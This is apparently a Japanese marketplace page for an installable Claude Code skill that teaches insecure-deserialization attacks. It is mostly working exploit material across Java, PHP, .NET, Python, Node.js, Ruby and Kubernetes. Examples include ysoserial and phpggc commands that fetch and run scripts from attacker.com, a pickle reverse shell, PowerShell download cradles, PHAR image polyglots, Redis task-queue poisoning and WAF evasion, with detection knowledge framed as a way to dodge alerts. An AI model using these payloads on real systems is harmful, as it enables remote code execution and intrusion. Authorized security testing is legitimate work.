mcpField
O
offensive-deserialization

offensive-deserialization

github.com/snailsploitセキュリティ9.7k146 回インストール2 週間前に更新
リポジトリ

offensive-deserialization について

複数の言語やデータ形式を対象に、安全でないデシリアライズを評価するためのセキュリティスキルです。入口と形式の特定から、安全な実行確認、調査結果の記録までを扱います。

主な機能

  1. 01デシリアライズ入口の特定
  2. 02シリアライズ形式の識別
  3. 03言語別ガジェットの手引き
  4. 04安全な実行確認手順
  5. 05攻撃チェーンの記録

活用シーン

  1. 01シリアライズ Cookie とリクエスト本文の監査
  2. 02メッセージキューやファイルアップロードの評価
  3. 03旧式の .NET または Python アプリのテスト

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-deserialization

インストール後、Claude Code で/offensive-deserializationを入力して読み込まれたか確認します。

詳細

デシリアライズ攻撃

デシリアライズの脆弱性は、アプリケーションがデータの型、完全性、または出所を検証せずに、シリアライズされたバイトストリームからオブジェクトを再構築すると発生します。オブジェクトの再構築によってコンストラクター、ファイナライザー、言語固有のマジックメソッドが実行されるため、シリアライズされた入力を攻撃者が制御できる場合、アプリケーションレベルの検証が行われる前にリモートコード実行を実現できることがよくあります。

すばやく進めるためのワークフロー

  1. 不透明なバイナリデータやエンコードされたデータを受け付けるすべてのエントリーポイントを列挙します。Cookie、HTTP 本文、ヘッダー、メッセージキューのメッセージ、ファイルアップロード、GraphQL カスタムスカラー、gRPC フィールド、JMX/RMI エンドポイントなどが該当します。
  2. マジックバイト、Content-Type ヘッダー、エラーの挙動からシリアライズ形式を特定します(「認識シグネチャ」を参照)。
  3. エラーページ、HTTP ヘッダー、またはソースコードからサーバー側の言語とフレームワークのバージョンを特定します。
  4. 対象のクラスパスまたはインストール済みパッケージに合うガジェットチェーンの候補を選びます。ysoserial、phpggc、ysoserial.net、または手動でペイロードを生成します。
  5. 特定したエントリーポイント経由で送信します。破壊的な副作用を起こさずに実行を確認できるよう、まず DNS のみを使う、またはスリープベースの検証を行います。
  6. 許可を得たうえで、概念実証からエンゲージメントの目的達成へ進みます。
  7. エントリーポイント、形式、ガジェットチェーン、ライブラリのバージョン、検証内容など、チェーン全体を記録します。

認識シグネチャ

形式シグネチャ備考
Java ObjectInputStreamHex ac ed 00 05、Base64 rO0ABCookie、POST 本文、JMX/RMI ストリーム
PHP serializeO:<len>:"ClassName": または a:<count>:{Cookie 内で Base64 にラップされていることがよくあります
.NET BinaryFormatterBase64 AAEAAAD/////ViewState、リモーティング、セッション状態
Python pickleオペコード \x80\x04\x95(v4 以降)、旧形式は (dp0 テキストRedis キャッシュ、Celery タスク、ML パイプライン
Ruby Marshal先頭バイト \x04\x08古い Rails アプリのセッションクッキー
YAML(すべての言語)--- !ruby/object: または !!python/object/apply:タグベースのインスタンス化
Java XMLDecoder<java> または <object class= を含む <?xmlレガシーな Java 管理パネル
.NET Json.NETJSON 内の "$type": キーTypeNameHandling != None
Java Jackson["class.name", { 形式の JSON 配列ラッパーenableDefaultTyping / ポリモーフィック処理

Java デシリアライズ

ObjectInputStream.readObject() はクラスパス上にある任意のクラスをインスタンス化します。何十年にもわたるライブラリのコードから、利用可能なガジェットチェーンが見つかります。

シンクの特定
// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated
serialVersionUID とクラスパスの制約

シリアライズ可能な Java クラスはすべて serialVersionUID を持ちます。一致しない場合、ガジェットのロジックが実行される前に InvalidClassException が発生します。エラーメッセージまたは逆コンパイルした JAR からサーバーの UID を抽出し、ysoserial のソースを使ってペイロードを再構築します。UID はメジャーリリース間でしか変わらないことが多いため、正確なバージョンが不明な場合でも、一般的なバージョンを総当たりで試すことができます。

ysoserial ガジェットチェーン

対象のクラスパスに存在するライブラリに合ったチェーンを選びます。

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in many apps via shaded dependencies
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin

# URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin

# JRMPClient -- redirect deser to attacker-controlled JRMP listener
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
# On attacker host, serve secondary payload via JRMP listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'
JMX/RMI デシリアライズ

JMX および RMI レジストリーはシリアライズされたオブジェクトをネットワーク経由で受け付けます。また、内部ネットワークで認証なしに公開されていることがよくあります。

# Scan for RMI registries
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET

# marshalsec: exploit RMI/JNDI
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
  "http://attacker.com:8080/#ExploitClass" 1099
Jackson のポリモーフィック型指定

enableDefaultTyping() または @JsonTypeInfo(use = Id.CLASS) が有効な場合、インスタンス化するクラスを指定した JSON 配列を渡します。

["com.sun.rowset.JdbcRowSetImpl",
 {"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]

Jackson のメンテナーは拒否リストにクラスを継続的に追加しています。対象のバージョンと既知のバイパスクラスを照合してください。例:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、com.caucho.config.types.ResourceRef などの JNDI 対応 Bean。


PHP デシリアライズ

unserialize() はオブジェクトをインスタンス化し、再構築中にマジックメソッド(__wakeup、__destruct、__toString)を呼び出します。phar:// ストリームラッパーを使うと、明示的な unserialize() の呼び出しなしにデシリアライズを引き起こせます。

シンクの特定
// Direct unserialize
$obj = unserialize($userInput);

// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file
phpggc ガジェットチェーン
phpggc -l  # List all available chains

# Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
phpggc Laravel/RCE1 system 'id' -b        # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s  # -s = serialized

# Symfony RCE -- targets process component
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
# Monolog RCE -- present in most Composer projects
phpggc Monolog/RCE1 system 'whoami' -b
# Guzzle / WordPress chains
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b

# PHAR output instead of raw serialized data
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
# PHAR polyglot disguised as JPEG
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg
phar:// の悪用

phar:// ラッパーは、ファイル操作のたびに PHAR アーカイブのメタデータセクションをデシリアライズします。シンクは unserialize() ではなくファイル関数なので、多くの監査を回避できます。

// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();

// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));

ポリグロットを画像としてアップロードし、phar://uploads/exploit.jpg/test.txt を参照するファイル操作をトリガーします。


.NET のデシリアライズ

BinaryFormatter は、最も危険な .NET シリアライザーです。Microsoft は正式に非推奨としていますが、レガシーアプリケーションや内部ツールでは、今でも使用されています。

シンクの特定
// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common

// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);

// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All  // or Objects, Arrays, Auto
});
ysoserial.net のペイロード
# TypeConfuseDelegate -- broad .NET coverage
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
# WindowsIdentity -- when TypeConfuseDelegate is blocked
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
# TextFormattingRunProperties -- targets WPF/XAML
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
# PSObject -- PowerShell-specific
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
# Json.NET TypeNameHandling
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
# Base64 output for ViewState or cookie injection
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64
ViewState の悪用

ASP.NET ViewState は、シリアライズされた非表示のフォームフィールドです。MAC 検証が無効になっている場合、またはマシンキーが判明している場合は、ガジェットチェーンを直接注入します。

# If machine key is known (web.config disclosure, default keys):
ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "powershell -enc BASE64CMD" \
  --validationalg="SHA1" \
  --validationkey="KNOWN_KEY" \
  --generator="GENERATOR_VALUE" \
  --path="/target/page.aspx" \
  --islegacy
Json.NET の TypeNameHandling

TypeNameHandling が None でない場合、$type プロパティによってインスタンス化する型が制御されます。

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}

Python のデシリアライズ

Python の pickle は、__reduce__ メソッドを通じてデシリアライズ時に任意のコードを実行します。信頼できない pickle データを安全にデシリアライズする方法はありません。

pickle による RCE
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

# Reverse shell variant
class ReverseShell:
    def __reduce__(self):
        return (os.system, (
            'python3 -c \'import socket,subprocess,os;'
            's=socket.socket();s.connect(("attacker.com",4444));'
            'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
            'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',))

# Chained multi-step payload
class ChainedExploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))
yaml.load による RCE

安全なローダーを指定せずに yaml.load() を使用すると、任意のオブジェクトのインスタンス化が可能になります。

# Direct command execution
!!python/object/apply:os.system
- "curl http://attacker.com/callback"

# Subprocess with output
!!python/object/apply:subprocess.check_output
- ["id"]
# Find unsafe yaml.load in codebase
grep -rn "yaml\.load\s*(" --include="*.py" /path/to/codebase
その他の Python 攻撃ベクトル
import shelve   # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal  # Code object injection via marshal.loads()
import jsonpickle  # Third-party, same risks as pickle via jsonpickle.decode()

Node.js のデシリアライズ

node-serialize の IIFE パターン

node-serialize ライブラリは、シリアライズされた関数を示すために _$$ND_FUNC$$_ を使用します。() を追加すると、デシリアライズ時に実行される IIFE が作成されます。

// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}

// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}
funcster
// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}

Cookie、セッショントークン、リクエスト本文内の _$$ND_FUNC$$_ と __js_function を探します。


Ruby のデシリアライズ

Marshal.load と YAML.load はどちらも任意のオブジェクトをインスタンス化するため、Rails アプリケーションでよく見られるシンクです。

Marshal.load のガジェット
# Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)
# ERB template execution chain
require 'erb'
class Exploit
  def initialize
    @template = "<%= `id` %>"
  end
end
payload = Marshal.dump(exploit_chain)
encoded = Base64.strict_encode64(payload)
YAML.load のガジェット
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
       read: 0
       header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
       socket: &1 !ruby/object:Gem::RequestSet
           sets: !ruby/object:Net::WriteAdapter
               socket: !ruby/module 'Kernel'
               method_id: :system
           git_set: "curl http://attacker.com/callback"
       method_id: :resolve

5.2 より前の Rails のセッション Cookie では、Marshal データは署名されていましたが、暗号化されていませんでした。secret_key_base を使うと、ガジェットチェーンを含むセッション Cookie を偽造できます。


最新の攻撃ベクトル

Kubernetes Admission Webhook

Admission Controller は AdmissionReview JSON をデシリアライズします。Admission リクエストのアノテーション値またはラベル値を安全でないデシリアライザーに渡す Webhook は、クラスターレベルの RCE 攻撃ベクトルを生み出します。

apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  annotations:
    config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
  containers:
  - name: test
    image: nginx

ペイロードは Webhook のコンテキスト内で実行されます。通常、このコンテキストには昇格されたクラスター権限があります。

メッセージキューのコンシューマー

Kafka、RabbitMQ、SQS、Redis からメッセージを消費するアプリケーションは、メッセージのペイロードを無条件にデシリアライズすることがよくあります。プロデューサーへのアクセス権があれば、すべてのコンシューマーに悪意のあるデータを送り込めます。

import redis, pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
    'body': pickle.dumps(Exploit()),
    'content-type': 'application/x-python-serialize',
}))
サーバーレストリガー

S3、SNS、SQS からのイベントペイロードをデシリアライズするサーバーレス関数は、イベントソースを攻撃者が制御できる場合(例:公開アップロード)に脆弱です。

def handler(event, context):
    obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
                        Key=event['Records'][0]['s3']['object']['key'])
    data = pickle.loads(obj['Body'].read())  # RCE if attacker uploads to bucket

回避手法

WAF とフィルターのバイパス
# Double Base64 -- changes byte pattern
cat payload.bin | base64 | base64 > double_encoded.txt

# Gzip before Base64 -- entirely different pattern
gzip -c payload.bin | base64 > compressed_payload.txt

# URL encoding
cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"

# Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX
# Parameter splitting -- some apps concatenate params before deserializing
Content-Type の操作

形式固有の WAF ルールを回避するには、配信形式を切り替えます。

POST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object

[binary payload]
<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <string>curl http://attacker.com/callback</string>
    </void>
  </object>
</java>
エンコードのレイヤー

多くのアプリケーションでは、複数のエンコードレイヤーが適用されます。ペイロードを次のように加工して、それに合わせます。

  1. ガジェットチェーンをシリアライズします。
  2. 判明している、または漏えいしたキー(セッション Cookie、ViewState のマシンキー)で暗号化します。
  3. 整合性チェックがある場合は HMAC を適用します(署名キーが必要です)。
  4. Base64 エンコードし、クエリパラメーター経由で配信する場合は URL エンコードします。

キーがない場合は、フレームワークのドキュメントに記載されているデフォルトキー、パストラバーサルや SSRF によるキーの漏えい、またはキーなしで暗号化するためのパディングオラクル攻撃を探します。


検知/防御側の視点

防御側の検知方法を理解すると、アラートを回避するペイロードを作成しやすくなります。

防御側が照合するネットワークシグネチャ:

  • HTTP トラフィック内の Java マジックバイト ac ed 00 05/Base64 の rO0AB
  • フォームフィールドまたは Cookie 内の .NET AAEAAAD/////
  • リクエストパラメーター内の PHP O:\d+:"
  • JSON 本文内の $type キー(Json.NET)
  • Node.js の Cookie 内の _$$ND_FUNC$$_
  • YAML 入力内の !!python/object タグ

遭遇するランタイム防御:

  • Java の ObjectInputFilter(JEP 290) -- クラスの許可リスト/拒否リストです。許可されたクラスだけで動作するチェーンを使って回避します。
  • .NET の SerializationBinder -- 型の解決を制限します。実行を可能にする、許可された名前空間内の型を使って回避します。
  • PHP の unserialize() における allowed_classes -- インスタンス化を制限します。許可されたクラスだけを使うか、パラメーターが適用されない phar:// 経由でシンクに到達して回避します。
  • シリアライズされたパターンに対する WAF ルール -- エンコード、圧縮、またはコンテンツタイプの切り替えで回避します。
  • RASP -- デシリアライズ呼び出しを計測します。まず URLDNS または sleep ペイロードでテストし、カバレッジを確認します。

攻撃によって生成されるログの痕跡:

  • サーバーログ内の ClassNotFoundException/ClassCastException(チェーンの失敗)
  • ObjectInputStream、readObject、readResolve を参照するスタックトレース
  • アプリケーションサーバーからの異常な外向き DNS/HTTP 通信
  • JVM/インタープリタープロセスからのプロセス起動

エンゲージメント用チートシート

シナリオツールペイロード検証
Java、Commons Collections 3.xysoserialCommonsCollections1-7まず URLDNS
Java、クラスパス不明ysoserialURLDNS、続いてエラーを利用した列挙DNS コールバック
PHP Laravel 5.x-9.xphpggcLaravel/RCE1-RCE10DNS または sleep
PHP ファイルアップロード+ファイル操作phpggc-p phar -pp header.jpg ポリグロットphar:// トリガー
.NET BinaryFormatterysoserial.netTypeConfuseDelegateプロセスまたは DNS
.NET ViewState、キーが既知ysoserial.netキーパラメーター付きの -p ViewStateブラインド実行
.NET Json.NET TypeNameHandlingysoserial.netObjectDataProvider -f Json.Netファイル書き込みまたは OOB
Web アプリ内の Python pickle手動__reduce__ + os.systemCurl コールバック
Python Celery/Redis手動タスクキューに Pickle を投入すべてのコンシューマーで実行
Python yaml.load手動!!python/object/apply:os.systemOOB コールバック
Node.js node-serialize手動_$$ND_FUNC$$_function(){...}()リバースシェル
Rails Cookie 内の Ruby Marshal手動Gem::Requirement + secret_key_baseセッション偽造+RCE
K8s アドミッション Webhookysoserial/手動Pod アノテーション内のペイロードWebhook コールバック

安全な確認手順(必ずここから始めます):

  1. URLDNS(Java)または DNS コールバックコマンドを送信し、デシリアライズが発生することを確認します。
  2. sleep/遅延ペイロードを送信し、ネットワークへの外向き通信なしでコード実行を確認します。
  3. エンゲージメントで許可された目的に向けてエスカレートします。

主な参考資料

ツール:

重大な CVE: CVE-2015-4852 (WebLogic T3)、CVE-2017-7525 (Jackson defaultTyping)、 CVE-2017-9805 (Struts 2 XStream)、CVE-2018-1000861 (Jenkins Stapler)、 CVE-2019-2725 (WebLogic XMLDecoder)、CVE-2019-6340 (Drupal REST)、 CVE-2019-18935 (Telerik UI .NET)、CVE-2020-9484 (Tomcat セッション永続化)、 CVE-2020-36188 (JNDI 経由の Jackson SSRF)、CVE-2021-21978 (VMware View Planner)、 CVE-2023-34362 (MOVEit Transfer)、CVE-2023-46604 (ActiveMQ RCE)

研究資料: 「Marshalling Pickles」(Frohoff/Lawrence、AppSecCali 2015)、「Friday the 13th: JSON Attacks」(Munoz/Mirosh、BlackHat 2017)、「Are You My Type?」(Munoz/Mirosh、.NET シリアライザー)、OWASP のデシリアライゼーション・チートシート、PortSwigger の安全でないデシリアライゼーション。

コメント